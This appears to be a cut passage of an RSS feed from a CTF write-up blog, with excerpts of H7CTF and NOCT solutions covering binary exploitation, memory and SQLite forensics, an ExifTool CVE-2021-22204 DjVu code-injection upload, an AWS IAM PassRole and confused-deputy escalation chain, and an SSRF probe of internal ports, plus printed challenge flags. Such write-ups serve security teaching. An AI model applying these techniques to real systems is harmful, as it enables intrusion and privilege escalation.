&lt;td&gt;&lt;code&gt;H7CTF{efb99265-4cbd-4dc0-bc40-539d7d0321f7}&lt;/code&gt;&lt;/td&gt;&#10; &lt;/tr&gt;&#10; &lt;tr&gt;&#10; &lt;td&gt;B (&lt;code&gt;:43230&lt;/code&gt;)&lt;/td&gt;&#10; &lt;td&gt;40&lt;/td&gt;&#10; &lt;td&gt;129&lt;/td&gt;&#10; &lt;td&gt;53&lt;/td&gt;&#10; &lt;td&gt;&lt;code&gt;0x64d1&lt;/code&gt;&lt;/td&gt;&#10; &lt;td&gt;&lt;code&gt;0x8695&lt;/code&gt;&lt;/td&gt;&#10; &lt;td&gt;&lt;code&gt;H7CTF{6f548304-625c-4ed8-9696-b460e2167a45}&lt;/code&gt;&lt;/td&gt;&#10; &lt;/tr&gt;&#10; &lt;/tbody&gt;&#10; &lt;/table&gt;&#10;&lt;/div&gt;&#10;&#10;&lt;span class="table-scroll-hint" aria-hidden="true"&gt;Scroll horizontally to explore the table &lt;svg class="ui-arrow ui-arrow--right" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true" focusable="false"&gt;&lt;path d="M4 12h16m-7-7 7 7-7 7"/&gt;&lt;/svg&gt;&#10;&lt;/span&gt;&#10;&lt;p&gt;Local binary (self-hosted, &lt;code&gt;FLAG=h7{local_test_flag}&lt;/code&gt;) also verified end-to-end.&lt;/p&gt;</description></item><item><title>Hothouse</title><link>https://hotwater-online.xyz/writeups/h7ctf/hothouse/</link><pubDate>Sun, 27 Sep 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/h7ctf/hothouse/</guid><description>&lt;p&gt;&lt;strong&gt;Remote:&lt;/strong&gt; &lt;code&gt;nc pwn.h7tex.com 42945&lt;/code&gt; (also served on 43895; each instance hands out its own flag)&#10;&lt;strong&gt;Binary:&lt;/strong&gt; &lt;code&gt;hothouse&lt;/code&gt; — stripped, statically linked x86-64 ELF, &lt;code&gt;main&lt;/code&gt; at &lt;code&gt;0x403100&lt;/code&gt;&#10;&lt;strong&gt;Flags obtained:&lt;/strong&gt;&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;code&gt;pwn.h7tex.com:42945&lt;/code&gt; → &lt;code&gt;H7CTF{8fbdbe42-ef45-4cfd-9348-c0f68849d023}&lt;/code&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;code&gt;pwn.h7tex.com:43895&lt;/code&gt; → &lt;code&gt;H7CTF{0cd953e8-c11a-4f1a-ad63-404572b5ba45}&lt;/code&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;hr&gt;&#10;&lt;h2 id="1-summary"&gt;&#10; &lt;a href="#1-summary" class="md-heading-anchor"&gt;&#10; 1. Summary&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;The binary is a &amp;quot;coprocessor&amp;quot; simulator. A 32×32 lattice of bits is grown for 7&#10;generations of a linear (XOR) cellular automaton, and the result is &lt;em&gt;bit-packed into a&#10;128-byte page that is &lt;code&gt;mprotect&lt;/code&gt;ed RWX and then &lt;code&gt;call&lt;/code&gt;ed as machine code&lt;/em&gt;. The flag&#10;path sits in the page just below it.&lt;/p&gt;</description></item><item><title>St. Cascade General — Mid-Run Ransomware</title><link>https://hotwater-online.xyz/writeups/h7ctf/st-cascade-general-mid-run-ransomware/</link><pubDate>Sun, 27 Sep 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/h7ctf/st-cascade-general-mid-run-ransomware/</guid><description>&lt;h2 id="challenge-overview"&gt;&#10; &lt;a href="#challenge-overview" class="md-heading-anchor"&gt;&#10; Challenge Overview&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Category:&lt;/strong&gt; Forensics / Memory Analysis&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Provided Files:&lt;/strong&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;code&gt;memory.lime.zst&lt;/code&gt; (Compressed LiME memory dump)&lt;/li&gt;&#10;&lt;li&gt;&lt;code&gt;Q3_patient_records.pdf.locked&lt;/code&gt; (Encrypted document, 672 bytes)&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Challenge Prompt:&lt;/strong&gt;&#10;&lt;blockquote class="md-blockquote"&gt;&#10; &lt;p&gt;&lt;em&gt;At 03:14 the ransomware reached St. Cascade General, and by the time responders made the nurses' station it was still chewing through patient files. They froze the workstation where it stood and only then cut the power.&lt;/em&gt;&#10;&lt;em&gt;Catch a thief mid-reach and they are still holding what they grabbed.&lt;/em&gt;&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&lt;/li&gt;&#10;&lt;/ul&gt;</description></item><item><title>"sudo zip, sudo shred, zero proof"</title><link>https://hotwater-online.xyz/writeups/h7ctf/sudo-zip-sudo-shred-zero-proof/</link><pubDate>Sat, 26 Sep 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/h7ctf/sudo-zip-sudo-shred-zero-proof/</guid><description>&lt;h2 id="flag"&gt;&#10; &lt;a href="#flag" class="md-heading-anchor"&gt;&#10; Flag&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;div class="mb-codeblock" data-lang="text"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;text&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;H7CTF{e211b7db9d4f5c9f0812}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h2 id="evidence"&gt;&#10; &lt;a href="#evidence" class="md-heading-anchor"&gt;&#10; Evidence&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;div class="table-wrap" role="region" aria-label="Scrollable data table" tabindex="0"&gt;&#10; &lt;table&gt;&#10; &lt;thead&gt;&#10; &lt;tr&gt;&#10; &lt;th&gt;File&lt;/th&gt;&#10; &lt;th&gt;Size&lt;/th&gt;&#10; &lt;th&gt;Notes&lt;/th&gt;&#10; &lt;/tr&gt;&#10; &lt;/thead&gt;&#10; &lt;tbody&gt;&#10; &lt;tr&gt;&#10; &lt;td&gt;&lt;code&gt;case_disk.img&lt;/code&gt;&lt;/td&gt;&#10; &lt;td&gt;20 971 520 B&lt;/td&gt;&#10; &lt;td&gt;Linux ext4, volume label &lt;code&gt;CASE-2026-0917&lt;/code&gt;, 1 KiB blocks, clean unmount&lt;/td&gt;&#10; &lt;/tr&gt;&#10; &lt;/tbody&gt;&#10; &lt;/table&gt;&#10;&lt;/div&gt;&#10;&#10;&lt;span class="table-scroll-hint" aria-hidden="true"&gt;Scroll horizontally to explore the table &lt;svg class="ui-arrow ui-arrow--right" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true" focusable="false"&gt;&lt;path d="M4 12h16m-7-7 7 7-7 7"/&gt;&lt;/svg&gt;&#10;&lt;/span&gt;&#10;&lt;p&gt;No &lt;code&gt;sleuthkit&lt;/code&gt; and no root on this box, but &lt;code&gt;debugfs&lt;/code&gt; / &lt;code&gt;dumpe2fs&lt;/code&gt; read the image&#10;read-only straight from the file, which is all this needs.&lt;/p&gt;</description></item><item><title>CherryPic — Cybercom</title><link>https://hotwater-online.xyz/writeups/noct/cherrypic-cybercom/</link><pubDate>Sat, 26 Sep 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/noct/cherrypic-cybercom/</guid><description>&lt;h2 id="flag"&gt;&#10; &lt;a href="#flag" class="md-heading-anchor"&gt;&#10; Flag&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;div class="mb-codeblock" data-lang="text"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;text&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;NOCT{ch3rry_supply_ch41n_0wn3d}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h2 id="enumeration"&gt;&#10; &lt;a href="#enumeration" class="md-heading-anchor"&gt;&#10; Enumeration&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;The home page exposed a CherryPic image-metadata feature:&lt;/p&gt;&#10;&lt;div class="mb-codeblock" data-lang="text"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;text&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;GET /cherrrypic&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;POST /cherrrypic/upload&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;The upload form accepts &lt;code&gt;.djvu&lt;/code&gt; files. A harmless upload revealed that the server runs &lt;strong&gt;ExifTool 12.23&lt;/strong&gt; against uploaded files.&lt;/p&gt;&#10;&lt;p&gt;ExifTool 12.23 is vulnerable to CVE-2021-22204, a Perl code-injection vulnerability in DjVu annotation metadata.&lt;/p&gt;&#10;&lt;h2 id="exploitation"&gt;&#10; &lt;a href="#exploitation" class="md-heading-anchor"&gt;&#10; Exploitation&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;The payload uses an &lt;code&gt;ANTa&lt;/code&gt; annotation chunk containing Perl code. The following command builds a minimal DjVu file in memory and submits it directly to the upload endpoint:&lt;/p&gt;</description></item><item><title>Deleting a Thing</title><link>https://hotwater-online.xyz/writeups/h7ctf/deleting-a-thing/</link><pubDate>Sat, 26 Sep 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/h7ctf/deleting-a-thing/</guid><description>&lt;h2 id="flag"&gt;&#10; &lt;a href="#flag" class="md-heading-anchor"&gt;&#10; Flag&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;div class="mb-codeblock" data-lang="text"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;text&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;H7CTF{7adf9695fb655c752810}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h2 id="evidence"&gt;&#10; &lt;a href="#evidence" class="md-heading-anchor"&gt;&#10; Evidence&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;div class="table-wrap" role="region" aria-label="Scrollable data table" tabindex="0"&gt;&#10; &lt;table&gt;&#10; &lt;thead&gt;&#10; &lt;tr&gt;&#10; &lt;th&gt;File&lt;/th&gt;&#10; &lt;th&gt;Size&lt;/th&gt;&#10; &lt;th&gt;Notes&lt;/th&gt;&#10; &lt;/tr&gt;&#10; &lt;/thead&gt;&#10; &lt;tbody&gt;&#10; &lt;tr&gt;&#10; &lt;td&gt;&lt;code&gt;evidence.zip&lt;/code&gt;&lt;/td&gt;&#10; &lt;td&gt;863 B&lt;/td&gt;&#10; &lt;td&gt;archive holding the two files below&lt;/td&gt;&#10; &lt;/tr&gt;&#10; &lt;tr&gt;&#10; &lt;td&gt;&lt;code&gt;messages.db&lt;/code&gt;&lt;/td&gt;&#10; &lt;td&gt;12288 B&lt;/td&gt;&#10; &lt;td&gt;SQLite 3.x, table &lt;code&gt;messages&lt;/code&gt;&lt;/td&gt;&#10; &lt;/tr&gt;&#10; &lt;tr&gt;&#10; &lt;td&gt;&lt;code&gt;secure.xml&lt;/code&gt;&lt;/td&gt;&#10; &lt;td&gt;255 B&lt;/td&gt;&#10; &lt;td&gt;app config: obfuscation key + body encoding&lt;/td&gt;&#10; &lt;/tr&gt;&#10; &lt;/tbody&gt;&#10; &lt;/table&gt;&#10;&lt;/div&gt;&#10;&#10;&lt;span class="table-scroll-hint" aria-hidden="true"&gt;Scroll horizontally to explore the table &lt;svg class="ui-arrow ui-arrow--right" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true" focusable="false"&gt;&lt;path d="M4 12h16m-7-7 7 7-7 7"/&gt;&lt;/svg&gt;&#10;&lt;/span&gt;&#10;&lt;p&gt;&lt;code&gt;messages.db&lt;/code&gt; schema:&lt;/p&gt;&#10;&lt;div class="mb-codeblock" data-lang="sql"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;sql&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-sql" data-lang="sql"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;CREATE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;TABLE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;messages&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_id&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;INTEGER&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;PRIMARY&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;KEY&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;thread&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;TEXT&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sender&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;TEXT&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ts&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;INTEGER&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;body&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;TEXT&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h2 id="step-1--read-the-live-table"&gt;&#10; &lt;a href="#step-1--read-the-live-table" class="md-heading-anchor"&gt;&#10; Step 1 — Read the live table&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;div class="mb-codeblock" data-lang="console"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;console&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-console" data-lang="console"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gp"&gt;$&lt;/span&gt; sqlite3 messages.db &lt;span class="s2"&gt;&amp;#34;SELECT * FROM messages;&amp;#34;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="go"&gt;1 general alice 1710001000000 lunch at 1?&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="go"&gt;2 general bob 1710001100000 sure, the usual spot&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="go"&gt;3 general alice 1710001200000 cool, see you&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="go"&gt;5 ops mallory 1710002050000 burn this after you read it&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="go"&gt;6 general bob 1710002100000 anyone seen the build?&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="go"&gt;7 general carol 1710002200000 ci is green now&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Nothing incriminating — the suspect's story holds. But notice the &lt;strong&gt;rowid gap: &lt;code&gt;_id&lt;/code&gt; 4 is missing&lt;/strong&gt; while 1,2,3,5,6,7 are present. Message 4 was deleted, not never-existed.&lt;/p&gt;</description></item><item><title>DeputyCorp Cloud Integration — AWS IAM Privilege Escalation</title><link>https://hotwater-online.xyz/writeups/h7ctf/deputycorp-cloud-integration-aws-iam-privilege-escalation/</link><pubDate>Sat, 26 Sep 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/h7ctf/deputycorp-cloud-integration-aws-iam-privilege-escalation/</guid><description>&lt;p&gt;&lt;strong&gt;Endpoint:&lt;/strong&gt; &lt;code&gt;https://web-dac032e81309a592.web.h7tex.com&lt;/code&gt;&#10;&lt;strong&gt;Start creds:&lt;/strong&gt; &lt;code&gt;AKIAANALYST0000000000&lt;/code&gt; / &lt;code&gt;wJalrAnalystSecretKeyEXAMPLEbPxRfiCY&lt;/code&gt; (region &lt;code&gt;us-east-1&lt;/code&gt;)&#10;&lt;strong&gt;Start identity:&lt;/strong&gt; &lt;code&gt;arn:aws:iam::111111111111:user/analyst&lt;/code&gt; (account &lt;code&gt;111111111111&lt;/code&gt;)&lt;/p&gt;&#10;&lt;h2 id="flags"&gt;&#10; &lt;a href="#flags" class="md-heading-anchor"&gt;&#10; Flags&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;div class="table-wrap" role="region" aria-label="Scrollable data table" tabindex="0"&gt;&#10; &lt;table&gt;&#10; &lt;thead&gt;&#10; &lt;tr&gt;&#10; &lt;th&gt;#&lt;/th&gt;&#10; &lt;th&gt;Stage&lt;/th&gt;&#10; &lt;th&gt;Flag&lt;/th&gt;&#10; &lt;th&gt;Where&lt;/th&gt;&#10; &lt;/tr&gt;&#10; &lt;/thead&gt;&#10; &lt;tbody&gt;&#10; &lt;tr&gt;&#10; &lt;td&gt;1&lt;/td&gt;&#10; &lt;td&gt;recon&lt;/td&gt;&#10; &lt;td&gt;&lt;code&gt;H7CTF{d6cc592f5a2f3db80718}&lt;/code&gt;&lt;/td&gt;&#10; &lt;td&gt;&lt;code&gt;s3://deputy-analyst-scratch/welcome.txt&lt;/code&gt;&lt;/td&gt;&#10; &lt;/tr&gt;&#10; &lt;tr&gt;&#10; &lt;td&gt;2&lt;/td&gt;&#10; &lt;td&gt;passrole&lt;/td&gt;&#10; &lt;td&gt;&lt;code&gt;H7CTF{28f87391f8a228110839}&lt;/code&gt;&lt;/td&gt;&#10; &lt;td&gt;&lt;code&gt;s3://deputy-runner-logs/build.log&lt;/code&gt;&lt;/td&gt;&#10; &lt;/tr&gt;&#10; &lt;tr&gt;&#10; &lt;td&gt;3&lt;/td&gt;&#10; &lt;td&gt;admin&lt;/td&gt;&#10; &lt;td&gt;&lt;code&gt;H7CTF{ea3e1dba8012d76e2648}&lt;/code&gt;&lt;/td&gt;&#10; &lt;td&gt;&lt;code&gt;s3://deputy-flag-vault/flag&lt;/code&gt;&lt;/td&gt;&#10; &lt;/tr&gt;&#10; &lt;tr&gt;&#10; &lt;td&gt;4&lt;/td&gt;&#10; &lt;td&gt;externalid&lt;/td&gt;&#10; &lt;td&gt;&lt;code&gt;H7CTF{1dbe909840d15aabdd63}&lt;/code&gt;&lt;/td&gt;&#10; &lt;td&gt;&lt;code&gt;s3://deputy-crown-vault/flag&lt;/code&gt;&lt;/td&gt;&#10; &lt;/tr&gt;&#10; &lt;/tbody&gt;&#10; &lt;/table&gt;&#10;&lt;/div&gt;&#10;&#10;&lt;span class="table-scroll-hint" aria-hidden="true"&gt;Scroll horizontally to explore the table &lt;svg class="ui-arrow ui-arrow--right" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true" focusable="false"&gt;&lt;path d="M4 12h16m-7-7 7 7-7 7"/&gt;&lt;/svg&gt;&#10;&lt;/span&gt;&#10;&lt;h2 id="attack-chain-at-a-glance"&gt;&#10; &lt;a href="#attack-chain-at-a-glance" class="md-heading-anchor"&gt;&#10; Attack chain at a glance&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;div class="mb-codeblock" data-lang="text"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;text&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;user/analyst (111111111111)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; | iam:PassRole + lambda:CreateFunction&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; v&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ci-runner-role (111111111111) &amp;lt;- Lambda execution role, trust: lambda.amazonaws.com&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; | sts:AssumeRole (cross-account, no ExternalId)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; v&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;partner-admin-role (999999999999) &amp;lt;- confused deputy across the org boundary&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; | sts:AssumeRole + ExternalId (read out of partner-config.json)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; v&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;partner-secure-role (999999999999) &amp;lt;- the &amp;#34;hardened&amp;#34; role&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;hr&gt;&#10;&lt;h2 id="stage-1--recon"&gt;&#10; &lt;a href="#stage-1--recon" class="md-heading-anchor"&gt;&#10; Stage 1 — recon&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;&lt;code&gt;iam:Get*&lt;/code&gt; / &lt;code&gt;iam:List*&lt;/code&gt; on &lt;code&gt;*&lt;/code&gt; means full read access to IAM config, so start by&#10;asking the key what it is.&lt;/p&gt;</description></item><item><title>FlyWithHer.io</title><link>https://hotwater-online.xyz/writeups/noct/flywithher/</link><pubDate>Sat, 26 Sep 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/noct/flywithher/</guid><description>&lt;h2 id="flag"&gt;&#10; &lt;a href="#flag" class="md-heading-anchor"&gt;&#10; Flag&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;&lt;code&gt;NOCT{g00d_b0y_1_4m_n0t_j41e}&lt;/code&gt;&lt;/p&gt;&#10;&lt;h2 id="reconnaissance"&gt;&#10; &lt;a href="#reconnaissance" class="md-heading-anchor"&gt;&#10; Reconnaissance&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;The site exposed a link-preview endpoint:&lt;/p&gt;&#10;&lt;div class="mb-codeblock" data-lang="text"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;text&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/api/preview?url=&amp;lt;URL&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;It fetches arbitrary URLs and returns their content, making it vulnerable to SSRF.&lt;/p&gt;&#10;&lt;p&gt;Testing localhost revealed internal services:&lt;/p&gt;&#10;&lt;div class="mb-codeblock" data-lang="text"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;text&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;http://127.0.0.1:3000/&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;http://127.0.0.1:5000/&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Port &lt;code&gt;5000&lt;/code&gt; exposed the Sayana toolkit and its documentation:&lt;/p&gt;&#10;&lt;div class="mb-codeblock" data-lang="text"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;text&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/docs/mommy-codec&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/docs/pilot-program&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h2 id="dga-endpoint"&gt;&#10; &lt;a href="#dga-endpoint" class="md-heading-anchor"&gt;&#10; DGA endpoint&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;The pilot-program documentation described the endpoint-generation algorithm:&lt;/p&gt;&#10;&lt;div class="mb-codeblock" data-lang="text"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;text&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;today = UTC date as YYYYMMDD&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;days = (today - 2026-01-01).days&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;step1 = SHA256(today + &amp;#34;sayana_0wns_u_jaie&amp;#34;)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;step2 = SHA256(step1 + str(days))[:12]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;endpoint = /api/submit/{step2}/jaie&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;For &lt;code&gt;2026-09-26&lt;/code&gt;, 